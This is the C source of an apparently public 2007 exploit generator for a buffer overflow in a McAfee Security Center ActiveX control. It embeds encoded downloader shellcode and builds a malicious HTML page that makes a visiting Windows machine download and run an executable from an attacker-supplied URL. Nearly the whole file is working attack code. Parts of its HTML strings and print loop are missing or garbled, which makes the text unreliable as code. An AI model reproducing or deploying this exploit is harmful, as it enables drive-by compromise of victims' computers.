/* McAfee Security Center IsOldAppInstalled ActiveX Buffer Overflow Vulnerability Peel the frame from axis,Thanks Test on Windows2000 and dll version Mcsubmgr.dll 6.0.0.15 Greetz to OYXin, sowhat, Winny Thomas and 0x557 team */ #include #include #include FILE *fp = NULL; char *file = "McAfee_exploit.html"; char *url = NULL; //Downloader shellcode unsigned char sc[] = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x3c\x01\x80\x34\x0B\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x34\x99\x99\x99\xC3\x12\x6B\xAA" "\x59\x35\xA4\x01\x99\x99\x99\xEC\x6F\x18\x75\x51\x99\x99\x99\x12" "\x6D\x10\xCF\xBD\x71\x0C\x99\x99\x99\xAA\x42\x10\x9F\x66\xAF\xF1" "\x17\xD7\x97\x75\x71\x34\x99\x99\x99\x10\xDF\x91\xF1\xF5\xF5\x99" "\x99\xF1\xF6\xF7\xB7\xFD\xF1\xEC\xEB\xF5\xF4\xCD\x66\xCF\x91\x10" "\xDF\x9D\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x11\x99\x99\x99\x10\xDF" "\x95\x66\xAF\xF1\x01\x67\x13\x97\x71\xE0\x99\x99\x99\x10\xDF\x8D" "\x66\xAF\xF1\xBC\x29\x66\x5B\x71\xF3\x99\x99\x99\x10\xDF\x81\x66" "\xEF\x9D\xF1\xAF\x83\xB6\xE9\x71\xC3\x99\x99\x99\x10\xDF\x89\xF3" "\xFC\xF1\xEA\xB7\xFC\xE1\x10\xFF\x85\x66\xEF\x85\x66\xCF\x81\xAA" "\x50\xC8\xC8\x66\xEF\x85\x66\xEF\xBD\xC8\x66\xCF\x89\xAA\x50\xC8" "\x66\xEF\x85\x66\xCF\x8D\x66\xCF\x95\x70\x19\x99\x99\x99\xCC\xCF" "\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12\xE9\x85" "\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99\x99\x12" "\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81\x12\xDC" "\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A\x44\x7A" "\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3\x5D\xED" "\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3" "\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A" "\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99\x71\x50" "\x67\x66\x66"; unsigned char sc_2[] = "\x98"; char * header = "\n\n" "\n" "

\n" "\n" "\n"; char * trigger_1 = "\n" "\n"; // print unicode shellcode void PrintPayLoad(char *lpBuff, int buffsize) { int i; for(i=0;i\n"); printf("#\ttest on Windows2000 and dll version Mcsubmgr.dll 6.0.0.15:>\n"); printf("#\tReference : http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/054183.html\n"); printf("#\t100%% successful\? who knows\;\)\n"); printf("\r\nUsage: %s [htmlfile]\n", argv[0]); printf("\r\nE.g.: %s http://www.fakename.com/hello.exe exploit.html\r\n\n", argv[0]); exit(1); } url = argv[1]; if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10) { printf("[-] Invalid url. Must start with 'http://','ftp://'\n"); return; } printf("[+] download url:%s\n", url); if(argc >=3) file = argv[2]; printf("[+] exploit file:%s\n", file); fp = fopen(file, "w"); if(!fp) { printf("[-] Open file error!\n"); return; } //build evil html file fprintf(fp, "%s", header); fflush(fp); memset(buf, 0, sizeof(buf)); sc_len = sizeof(sc)-1; memcpy(buf, sc, sc_len); memcpy(buf+sc_len, url, strlen(url)); sc_len += strlen(url); memcpy(buf+sc_len, sc_2, 1); sc_len += 1; PrintPayLoad((char *)buf, sc_len); fprintf(fp, "%s", footer); fflush(fp); fprintf(fp, "%s", trigger_1); fflush(fp); printf("[+] exploit write to %s success!\n", file); } // milw0rm.com [2007-05-10]